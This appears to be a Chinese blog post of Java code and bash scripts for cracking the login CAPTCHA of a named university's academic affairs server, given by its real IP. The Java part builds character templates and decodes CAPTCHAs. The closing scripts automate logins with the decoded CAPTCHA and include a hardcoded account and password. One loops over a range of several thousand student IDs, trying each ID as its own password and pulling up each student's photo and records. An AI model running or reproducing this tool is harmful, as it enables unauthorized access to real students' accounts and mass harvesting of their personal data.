东大教务处验证码破解

    public static void main(String[] args) throws Exception {
        for(int x=0;x<10;x++){
            download(x);
        }
    }

    static void download(int x) throws Exception {
        URL url = new URL(
                "http://202.118.31.197/index.jsp/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=92.16375222337473");
        URLConnection connection = url.openConnection();
        BufferedImage bit = ImageIO.read(connection.getInputStream());
        ImageIO.write(bit, "png", new File("img\\"+x + ".png"));
    }

/* 验证码图片是60*20的矩形点阵,每个点用RGB三原色表示(ARGB中的A始终为0xff)
 * 验证码有62种字符0-9,a-z,A-Z
 * 每一个字符都有一个形状:这是一个点集合
 * 每个字符都有固定的位置(有四种位置,每两个相邻位置之间的距离为13格)
 * 这个文件用来产生数据,格式为62行,每行开头一个字符,接着第一种位置x和y,
 * 剩下的内容都是点集合
 * 
 * 这个程序的目的是可视化的产生上述数据,通过鼠标点击,来选定点集
 * 鼠标左键:选定单个点
 * 鼠标右键:选定一个点及其附近与之相似的点
 * CTRL+鼠标左键:清除单个点
 * 空格:清空全部点
 * ctrl+s保存当前结果到文件
 * 
 * 选定一个点及其附近与之相似的点:利用颜色相似度来决定是否两个相邻点为同一个国家的公民
 * 如果两个相邻点颜色相近,那就把他俩看成连通的
 * 求出整个大图的全部连通分量
 * 
 * 一开始我还准备进行噪音处理,然而效果并不理想
 * */
class Point {
    int x, y;

    Point(int x, int y) {
        this.x = x;
        this.y = y;
    }

    @Override
    public int hashCode() {
        return x ^ y;
    }

    @Override
    public boolean equals(Object obj) {
        Point p = (Point) obj;
        return p.x == x && p.y == y;
    }

    boolean less(Point p) {
        if (x == p.x)
            return y < p.y;
        else
            return x < p.x;
    }
}

class Country {
    ArrayList<Point> a = new ArrayList<Point>();

    Country() {

    }

    Country(ArrayList<Point> a) {
        this.a = new ArrayList<Point>();
        for (Point p : a) {
            this.a.add(new Point(p.x, p.y));
        }
    }
}

class Go {
    int[][] a;
    int[][] ans;
    int[][] id;
    ArrayList<Country> countries = new ArrayList<Country>();
    int w, h;
    int[] color;
    static int COLOR_DIS = 55;
    static int NOISE_LOWER_BOUND = 5, NOISE_UPPER_BOUND = 4;

    public Go(int[][] a) {
        this.a = a;
        w = a.length;
        h = a[0].length;
        id = new int[w][h];
        expand();
        // delNoise();
        initColor(countries.size());
        getAns();
    }

    void cout(String s) {
        System.out.println(s);
    }

    void getAns() {
        ans = new int[w][h];
        for (int i = 0; i < countries.size(); i++) {
            Country c = countries.get(i);
            for (int j = 0; j < c.a.size(); j++) {
                ans[c.a.get(j).x][c.a.get(j).y] = color[i];
            }
        }
    }

    void delNoise() {
        Country zero = countries.get(0);
        for (int i = countries.size() - 1; i >= 0; i--) {
            Country c = countries.get(i);
            if (c.a.size() < NOISE_LOWER_BOUND || radius(c) > NOISE_UPPER_BOUND) {
                zero.a.addAll(c.a);
                countries.remove(i);
            }
        }
    }

    boolean hasRadius(Country c, int r) {
        for (int i = 0; i < c.a.size(); i++) {
            int m = c.a.get(i).x, n = c.a.get(i).y;
            boolean ok = true;
            out: for (int j = -r; j <= r; j++) {
                for (int k = -(r - Math.abs(j)); k <= r - Math.abs(j); k++) {
                    int x = m + j, y = n + k;
                    if (legal(x, y) && id[x][y] != id[m][n]) {
                        ok = false;
                        break out;
                    }
                }
            }
            if (ok)
                return true;
        }
        return false;
    }

    int radius(Country c) {
        int r = (int) Math.sqrt(c.a.size()), l = 0;
        while (l < r) {
            int m = (l + r) >> 1;
            if (hasRadius(c, m))
                l = m + 1;
            else
                r = m;
        }
        return r;
    }

    void expand() {
        countries.add(new Country());
        for (int i = 0; i < w; i++) {
            for (int j = 0; j < h; j++) {
                if (id[i][j] == 0) {
                    countries.add(new Country());
                    go(countries.get(countries.size() - 1), i, j, countries.size() - 1);
                }
            }
        }
    }

    void go(Country country, int fx, int fy, int cnt) {
        int dir[] = { 0, 1, 0, -1, 1, 0, -1, 0, 1, 1, 1, -1, -1, -1, -1, 1 };
        id[fx][fy] = cnt;
        country.a.add(new Point(fx, fy));
        for (int i = 0; i < dir.length; i += 2) {
            int x = fx + dir[i], y = fy + dir[i + 1];
            if (legal(x, y) && id[x][y] == 0 && dis(a[fx][fy], a[x][y]) < COLOR_DIS) {
                go(country, x, y, cnt);
            }
        }
    }

    void initColor(int cnt) {
        color = new int[cnt];
        double per = 255.0 / Math.pow(cnt, 1.0 / 3);
        int ci = 0;
        for (int i = 0; i < 255; i += per) {
            for (int j = 0; j < 255; j += per) {
                for (int k = 0; k < 255; k += per) {
                    color[ci++] = i | j << 8 | k << 16;
                    if (ci == cnt)
                        return;
                }
            }
        }
    }

    boolean legal(int x, int y) {
        return x >= 0 && y >= 0 && x < w && y < h;
    }

    int dis(int x, int y) {
        int ans = 0;
        for (int i = 0; i < 3; i++) {
            int d = Math.abs((x & 255) - (y & 255));
            ans += d * d;
            x >>= 8;
            y >>= 8;
        }
        ans = (int) Math.sqrt(ans);
        return ans;
    }
}

class Data {
    Country[] xing = new Country[128];
    Point[][] wei = new Point[128][4];

    void save() {
        PrintWriter cout = null;
        try {
            cout = new PrintWriter(new File("haha.txt"));
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        for (char c = ‘0‘; c <= ‘9‘; c++) {
            print(cout, c);
        }
        for (char c = ‘a‘; c <= ‘z‘; c++) {
            print(cout, c);
        }
        for (char c = ‘A‘; c <= ‘Z‘; c++) {
            print(cout, c);
        }
        cout.close();
    }

    void print(PrintWriter cout, char c) {
        cout.println();
        cout.print(c);
        for (int i = 0; i < 4; i++)
            if (wei[c][i] == null)
                continue;
            else
                cout.print(" " + wei[c][i].x + " " + wei[c][i].y);
        if (xing[c] == null)
            return;
        for (Point p : xing[c].a)
            cout.print(" " + p.x + " " + p.y);
    }

    String gets(char c) {
        String s = "" + c;
        for (int i = 0; i < 4; i++) {
            if (wei[c][i] == null) {
                s += " (_,_)";
            } else {
                s += " (" + wei[c][i].x + "," + wei[c][i].y + ")";
            }
        }
        if (xing[c] != null) {
            s += "====== ";
            for (Point p : xing[c].a) {
                s += "(" + p.x + "," + p.y + ")";
            }
        }
        return s + "\n";
    }

    public String toString() {
        String s = "";
        for (char c = ‘0‘; c <= ‘9‘; c++) {
            s += gets(c);
        }
        for (char c = ‘a‘; c <= ‘z‘; c++) {
            s += gets(c);
        }
        for (char c = ‘A‘; c <= ‘Z‘; c++) {
            s += gets(c);
        }
        return s;
    }

    void sort(ArrayList<Point> a) {
        for (int i = 0; i < a.size(); i++) {
            for (int j = 0; j < a.size(); j++) {
                if (a.get(i).less(a.get(j))) {
                    Point temp = a.get(i);
                    a.set(i, a.get(j));
                    a.set(j, temp);
                }
            }
        }
    }

    void uniq(ArrayList<Point> a) {
        for (int i = a.size() - 1; i > 0; i--)
            if (a.get(i).equals(a.get(i - 1))) {
                a.remove(i);
            }
    }

    void update(ArrayList<Point> a) {
        int x = a.get(0).x, y = a.get(0).y;
        for (Point p : a) {
            p.x -= x;
            p.y -= y;
        }
    }

    void set(String s, Country country) {
        if (country == null || country.a == null)
            return;
        Scanner cin = new Scanner(s);
        String c = cin.next();
        if (country.a.size() == 0) {
            System.out.println("Country.a.size() cannot be zero !!!");
        }
        if (country.a.size() == 1) {
            int pos = cin.nextInt() - 1;
            wei[c.charAt(0)][pos] = country.a.get(0);
        } else {
            sort(country.a);
            uniq(country.a);
            update(country.a);
            xing[c.charAt(0)] = country;
        }
        cin.close();
    }
}

public class Main extends JFrame {
    public static void main(String[] args) {
        try {
            UIManager.setLookAndFeel(UIManager.getSystemLookAndFeelClassName());
        } catch (ClassNotFoundException | InstantiationException | IllegalAccessException
                | UnsupportedLookAndFeelException e) {
            e.printStackTrace();
        }
        new Main();
    }

    File[] files = new File("img").listFiles();
    int fileIndex = 0;

    JPanel protoPanel = new JPanel(), nowPanel = new JPanel();
    JTextField txt = new JTextField();
    JTextArea area = new JTextArea(6, 0);
    Container content;

    int proto[][], now[][];
    BufferedImage protoImage, nowImage;
    ArrayList<Point> selectedPoints;
    Data data = new Data();
    Go go;

    void initControl() {
        Font f = new Font("Ubuntu Mono", Font.BOLD, 30);
        txt.setFont(f);
        area.setFont(f);
        area.setEditable(false);
        txt.addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                if (e.getKeyCode() == KeyEvent.VK_ENTER) {
                    data.set(txt.getText(), new Country(selectedPoints));
                    area.setText(data.toString());
                    txt.setText("");
                    selectedPoints = null;
                    protoPanelPaint();
                }
            }
        });
    }

    Main() {
        loadProto();
        loadNow();

        setTitle("agnomen decoder");
        content = getContentPane();
        content.setLayout(new BorderLayout());

        JPanel pane = new JPanel(new GridLayout());
        pane.add(protoPanel);
        pane.add(nowPanel);
        content.add(pane, BorderLayout.CENTER);

        JPanel editPane = new JPanel(new BorderLayout());
        initControl();
        editPane.add(txt, BorderLayout.NORTH);
        editPane.add(new JScrollPane(area), BorderLayout.CENTER);
        content.add(editPane, BorderLayout.NORTH);

        setExtendedState(MAXIMIZED_BOTH);
        setDefaultCloseOperation(EXIT_ON_CLOSE);
        setVisible(true);

        protoPanel.addMouseListener(new MouseAdapter() {
            @Override
            public void mouseEntered(MouseEvent e) {
                protoPanel.grabFocus();
            }

            @Override
            public void mouseClicked(MouseEvent e) {
                double w = (double) protoPanel.getWidth() / proto.length,
                        h = (double) protoPanel.getHeight() / proto[0].length;
                int x = (int) (e.getX() / w), y = (int) (e.getY() / h);
                int color = proto[x][y];
                int b = color & 255, g = (color >> 8) & 255, r = (color >> 16) & 255;
                setTitle(x + " " + y + " " + r + " " + g + " " + b);
                if (e.getButton() == MouseEvent.BUTTON3) {
                    selectedPoints = go.countries.get(go.id[x][y]).a;
                    protoPanelPaint();
                } else if (e.getButton() == MouseEvent.BUTTON1) {
                    if (e.isControlDown()) {
                        if (selectedPoints == null)
                            return;
                        for (Point p : selectedPoints) {
                            if (p.x == x && p.y == y) {
                                selectedPoints.remove(p);
                                protoPanelPaint();
                                return;
                            }
                        }
                    } else {
                        if (selectedPoints == null)
                            selectedPoints = new ArrayList<Point>();
                        selectedPoints.add(new Point(x, y));
                        protoPanelPaint();
                    }
                }
            }
        });
        nowPanel.addMouseWheelListener(new MouseWheelListener() {
            @Override
            public void mouseWheelMoved(MouseWheelEvent e) {
                int x = e.getWheelRotation();
                Go.COLOR_DIS += x;
                setTitle(Go.COLOR_DIS + "");
                loadNow();
                nowPanelPaint();
            }
        });
        protoPanel.addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                if (e.getKeyCode() == KeyEvent.VK_DOWN) {
                    fileIndex = (fileIndex + 1) % files.length;
                    selectedPoints = null;
                    loadProto();
                    loadNow();
                    repaint();
                } else if (e.getKeyCode() == KeyEvent.VK_UP) {
                    fileIndex = (fileIndex - 1 + files.length) % files.length;
                    selectedPoints = null;
                    loadProto();
                    loadNow();
                    repaint();
                } else if (e.getKeyCode() == KeyEvent.VK_S && e.isControlDown()) {
                    data.save();
                    /*
                     * JFrame dlg = new JFrame();
                     * //dlg.getContentPane().setLayout(null); JTextArea area =
                     * new JTextArea(); Font f = new Font("Ubuntu Mono",
                     * Font.BOLD, 30); area.setFont(f); Scanner cin = null; try
                     * { cin = new Scanner(new File("data.txt")); } catch
                     * (FileNotFoundException e1) { e1.printStackTrace(); }
                     * String s = ""; while (cin.hasNext()) { s +=
                     * cin.nextLine()+"\n"; } area.setText(s);
                     * dlg.getContentPane().add(area);
                     * dlg.setDefaultCloseOperation(JFrame.DISPOSE_ON_CLOSE);
                     * dlg.setSize(800, 800); dlg.setVisible(true);
                     */
                } else if (e.getKeyCode() == KeyEvent.VK_SPACE) {
                    selectedPoints = null;
                    protoPanelPaint();
                }
            }
        });
    }

    @Override
    public void paint(Graphics g) {
        protoPanelPaint();
        nowPanelPaint();
    }

    void loadNow() {
        go = new Go(proto);
        now = go.ans;
        nowImage = toImg(now);
    }

    void loadProto() {
        try {
            protoImage = ImageIO.read(files[fileIndex]);
            proto = toArray(protoImage);
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    int[][] copy(int[][] src) {
        int[][] a = new int[src.length][src[0].length];
        for (int i = 0; i < src.length; i++) {
            for (int j = 0; j < src[i].length; j++) {
                a[i][j] = src[i][j];
            }
        }
        return a;
    }

    void nowPanelPaint() {
        nowPanel.getGraphics().drawImage(nowImage, 0, 0, nowPanel.getWidth(), nowPanel.getHeight(), null);
    }

    void protoPanelPaint() {
        int[][] midArray = copy(proto);
        addColor(midArray);
        BufferedImage midImg = toImg(midArray);
        protoPanel.getGraphics().drawImage(midImg, 0, 0, protoPanel.getWidth(), protoPanel.getHeight(), null);
    }

    void addColor(int[][] a) {
        if (selectedPoints == null)
            return;
        for (Point p : selectedPoints) {
            a[p.x][p.y] = 0xff0000;
        }
    }

    BufferedImage toImg(int[][] a) {
        BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB);
        for (int i = 0; i < pic.getWidth(); i++) {
            for (int j = 0; j < pic.getHeight(); j++) {
                pic.setRGB(i, j, a[i][j]);
            }
        }
        return pic;
    }

    int[][] toArray(BufferedImage img) {
        int a[][] = new int[img.getWidth()][img.getHeight()];
        for (int i = 0; i < img.getWidth(); i++) {
            for (int j = 0; j < img.getHeight(); j++) {
                a[i][j] = img.getRGB(i, j);
            }
        }
        return a;
    }

    void cout(String s) {
        System.out.print(s);
    }
}

/* Main.java用来生成数据
 * 本程序用来验证生成的数据是否正确
 * 其实就是从data.txt中把数据读出来,然后画一下
 * 用眼睛一看便知是否正确
 * 
 * l和o在验证码中没出现过
 * 在txtField中输入字符,按enter就可以在同一张图片上查看不同对比
 * */
class Node {
    int x, y;
    ArrayList<Point> a = new ArrayList<Point>();
}

public class TestAns extends JFrame {
    public static void main(String[] args) {
        new TestAns();
    }

    Node[] a = new Node[128];
    char[] charSet;
    int index = 0;
    int[][] nowArray = new int[60][20];
    JTextField txt = new JTextField();
    JPanel panel = new JPanel();

    void readFile() {
        Scanner cin = null;
        try {
            cin = new Scanner(new File("data.txt"));
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        while (cin.hasNextLine()) {
            String s = cin.nextLine();
            Scanner sin = new Scanner(s);
            char c = sin.next().charAt(0);
            a[c] = new Node();
            a[c].x = sin.nextInt();
            a[c].y = sin.nextInt();
            while (sin.hasNext()) {
                a[c].a.add(new Point(sin.nextInt(), sin.nextInt()));
            }
            sin.close();
        }
        cin.close();
    }

    void initCharSet() {
        String s = "";
        for (char c = ‘0‘; c <= ‘9‘; c++)
            s += c;
        for (char c = ‘a‘; c <= ‘z‘; c++)
            s += c;
        for (char c = ‘A‘; c <= ‘Z‘; c++)
            s += c;
        charSet = s.toCharArray();
    }

    public TestAns() {
        readFile();
        initCharSet();
        initNowArray("0000"); 
        Container content = getContentPane();
        content.setLayout(new BorderLayout());
        content.add(txt, BorderLayout.NORTH);
        txt.addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                if (e.getKeyCode() == KeyEvent.VK_ENTER) {
                    initNowArray(txt.getText());
                    repaint();
                }else if (e.getKeyCode() == KeyEvent.VK_UP) {
                    index--;
                    char c = charSet[index];
                    initNowArray(c + "" + c + "" + c + "" + c);
                    repaint();
                } else if (e.getKeyCode() == KeyEvent.VK_DOWN) {
                    index++;
                    char c = charSet[index];
                    initNowArray(c + "" + c + "" + c + "" + c);
                    repaint();
                }
            }
        });
        content.add(panel, BorderLayout.CENTER);
        setExtendedState(MAXIMIZED_BOTH);
        setDefaultCloseOperation(DISPOSE_ON_CLOSE);
        setVisible(true);
    }

    @Override
    public void paint(Graphics ggg) {
        Graphics g = panel.getGraphics();
        g.drawImage(toImg(nowArray), 0, 0, panel.getWidth(), panel.getHeight(), null);
    }

    void initNowArray(String s) {
        setTitle(s);
        for (int i = 0; i < nowArray.length; i++) {
            for (int j = 0; j < nowArray[0].length; j++) {
                nowArray[i][j] = 0;
            }
        }
        for (int i = 0; i < 4 && i < s.length(); i++) {
            char c = s.charAt(i);
            for (Point p : a[c].a) {
                nowArray[p.x + a[c].x + i * 13][a[c].y + p.y] = 0xffffff;
            }
        }
    }

    BufferedImage toImg(int[][] a) {
        BufferedImage pic = new BufferedImage(a.length, a[0].length, BufferedImage.TYPE_INT_RGB);
        for (int i = 0; i < pic.getWidth(); i++) {
            for (int j = 0; j < pic.getHeight(); j++) {
                pic.setRGB(i, j, a[i][j]);
            }
        }
        return pic;
    }
}

/* 经过Main.java生成数据,TestAns验证数据,本程序应用数据去破解图片
 * 从文件夹中读取全部的图片,在窗口的标题处显示破解结果
 * 在窗口主体处显示原始图片
 * 
 * 如何应用那些数据呢?
 * for循环62个字符*4个位置,如果匹配成功了,那就该字符所覆盖的点集颜色方差非常小
 * 所以,只要找出方差最小的字符来就可以了
 * i和P,K,j等字符容易混淆,n和h容易混淆,因为后者包含前者.我的解决方法是一个判断,如果方差相差不多,那就取面积大者
 * O和0分不清,因为这两个字符一模一样
 * */
class Color {
    double r, g, b;

    Color add(Color c) {
        return new Color(r + c.r, g + c.g, b + c.b);
    }

    Color(double d, double e, double f) {
        this.r = d;
        this.g = e;
        this.b = f;
    }

    Color(int x) {
        r = x & 255;
        g = (x >> 8) & 255;
        b = (x >> 16) & 255;
    }

    public Color mul() {
        return new Color(r * r, g * g, b * b);
    }

    public Color sub(Color m) {
        return new Color(r - m.r, g - m.g, b - m.b);
    }

    public Color div(int size) {
        return new Color(r / size, g / size, b / size);
    }

    public double len() {
        return Math.sqrt(r * r + g * g + b * b);
    }
}

public class Decoder extends JFrame {
    public static void main(String[] args) {
        if (args.length == 0)
            new Decoder();
        else if (args.length == 1)
            new Decoder(args[0]);
        else {
            System.out.println("too much arguments");
            System.exit(-1);
        }
    }

    File[] files = new File("img").listFiles();
    int fileIndex = 0;
    Container content;
    Node[] a = new Node[128];
    char[] charSet;
    int[][] proto;

    void readFile() {
        Scanner cin = null;
        try {
            cin = new Scanner(new File("data.txt"));
        } catch (FileNotFoundException e) {
            e.printStackTrace();
        }
        while (cin.hasNextLine()) {
            String s = cin.nextLine();
            Scanner sin = new Scanner(s);
            char c = sin.next().charAt(0);
            a[c] = new Node();
            a[c].x = sin.nextInt();
            a[c].y = sin.nextInt();
            while (sin.hasNext()) {
                a[c].a.add(new Point(sin.nextInt(), sin.nextInt()));
            }
            sin.close();
        }
        cin.close();
    }

    void initCharSet() {
        String s = "";
        for (char c = ‘0‘; c <= ‘9‘; c++)
            s += c;
        for (char c = ‘a‘; c <= ‘z‘; c++)
            s += c;
        for (char c = ‘A‘; c <= ‘Z‘; c++)
            s += c;
        charSet = s.toCharArray();
    }

    Decoder(String path) {
        readFile();
        initCharSet();
        BufferedImage img = null;
        try {
            img = ImageIO.read(files[fileIndex]);
        } catch (IOException e) {
            e.printStackTrace();
        }
        proto = toArray(img);
        System.out.println(go());
    }

    Decoder() {
        readFile();
        initCharSet();
        content = getContentPane();
        setDefaultCloseOperation(EXIT_ON_CLOSE);
        setExtendedState(MAXIMIZED_BOTH);
        setVisible(true);
        addKeyListener(new KeyAdapter() {
            @Override
            public void keyPressed(KeyEvent e) {
                if (e.getKeyCode() == KeyEvent.VK_DOWN) {
                    fileIndex = (fileIndex + 1) % files.length;
                    repaint();
                } else if (e.getKeyCode() == KeyEvent.VK_UP) {
                    fileIndex = (fileIndex - 1 + files.length) % files.length;
                    repaint();
                }
            }
        });
    }

    @Override
    public void paint(Graphics g) {
        try {
            BufferedImage img = ImageIO.read(files[fileIndex]);
            proto = toArray(img);
            g.drawImage(img, 0, 0, content.getWidth(), content.getHeight(), null);
            setTitle(go());
        } catch (IOException e) {
            e.printStackTrace();
        }
    }

    String go() {
        double sizeRatio = 3.47;
        String ans = "";
        for (int i = 0; i < 4; i++) {
            char minC = ‘l‘;
            double minDx = Double.MAX_VALUE;
            for (char c : charSet) {
                ArrayList<Point> s = a[c].a;
                Color m = new Color(0), n = new Color(0);
                for (Point p : s) {
                    int x = p.x + a[c].x + i * 13, y = p.y + a[c].y;
                    m = m.add(new Color(proto[x][y]));
                    n = n.add(new Color(proto[x][y]).mul());
                }
                n = n.div(s.size());
                m = m.div(s.size());
                double nowDx = n.sub(m.mul()).len();
                System.out.println(c + " " + nowDx);
                /*
                 * This condition is very important ! Different condition can
                 * generate different result !
                 */
                if (nowDx < minDx && !(minDx < nowDx * sizeRatio && s.size() < a[minC].a.size())
                        || nowDx < minDx * sizeRatio && s.size() > a[minC].a.size()) {
                    // if (nowDx < 1500 && s.size() > a[minC].a.size()) {
                    minDx = nowDx;
                    minC = c;
                }
            }
            ans += minC;
        }
        return ans;
    }

    int[][] toArray(BufferedImage img) {
        int a[][] = new int[img.getWidth()][img.getHeight()];
        for (int i = 0; i < img.getWidth(); i++) {
            for (int j = 0; j < img.getHeight(); j++) {
                a[i][j] = img.getRGB(i, j);
            }
        }
        return a;
    }
}

#!/bin/bash
test -e $1    || { echo ‘file does not exist !‘;exit 2; }
src=$1
shift
name="${src%.*}"
type="${src##*.}"
dir=`pwd`
dir="/tmp/${dir////_}" 
case $type in
    java)
        path="$dir/$name.class"
        compile="javac -d $dir $src"
        run="java -cp $dir $name $@";;
    cpp)
        path="$dir/$name.out"
        compile="g++ $1 -o $dir/$name.out"
        run="$dir/$name.out $@";;
    *)
        echo "unknown file type "
        exit 1
esac 
if test ! -d "$dir" ;then 
    #echo ‘mkdir...compiling...‘
    mkdir "$dir" && $compile && $run
elif test ! -f $path -o $path -ot $src ;then 
    #echo ‘compiling...‘ 
    $compile && $run
else $run
fi

#!/bin/bash
home="202.118.31.197"
url="http://$home/ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=0"
while true;do
    wget -o /dev/null -O ‘agnomen‘ $url
    ./ja Decoder.java ‘agnomen‘
    eog ‘agnomen‘
done

function cout(){
    echo -e "\033[31m$@\033[0m"
}
function translate(){ 
    iconv -f "$1" -t utf-8 "$2" -o "$2" 
}
usr=‘20124003‘
usr="$1"
passwd=‘weidiao‘
passwd="$2"
home="202.118.31.197"
url="http://$home" 
find "$home" -type f -exec rm {} \;

wget -o /dev/null --keep-session-cookies --save-cookies=‘cookie‘ -p $url 
pic=` iconv -f gb2312 -t utf-8 $home/index.html | grep -o ‘ACTIONVALIDATERANDOMPICTURE.APPPROCESS?id=[0-9,.]*‘`
x=`./ja Decoder.java "$home/$pic"` 
data="WebUserNO=$usr&Password=$passwd&Agnomen=$x"
wget -o /dev/null -O "aao.html" --keep-session-cookies --load-cookies=‘cookie‘ --post-data=$data "$url/ACTIONLOGON.APPPROCESS?mode="
translate "gb2312" "aao.html"
grep "frameset" "aao.html" || { cout "login failed"; exit 1; }
cout "login successful !"
#exit 0

echo =======================
wget -o /dev/null --keep-session-cookies --load-cookies=‘cookie‘  -p  "http://202.118.31.197/ACTIONFINDSTUDENTINFO.APPPROCESS"
stuInfo="$home/ACTIONFINDSTUDENTINFO.APPPROCESS?mode=1&showMsg="
translate "gbk"  "$stuInfo"
cat "$stuInfo"

#!/bin/bash
i=20121234
while test $i -lt  20123990 ;do
    echo $i
    ./haha.sh $i $i && eog "202.118.31.197/ACTIONDSPUSERPHOTO.APPPROCESS"
    i=$((i+1))
done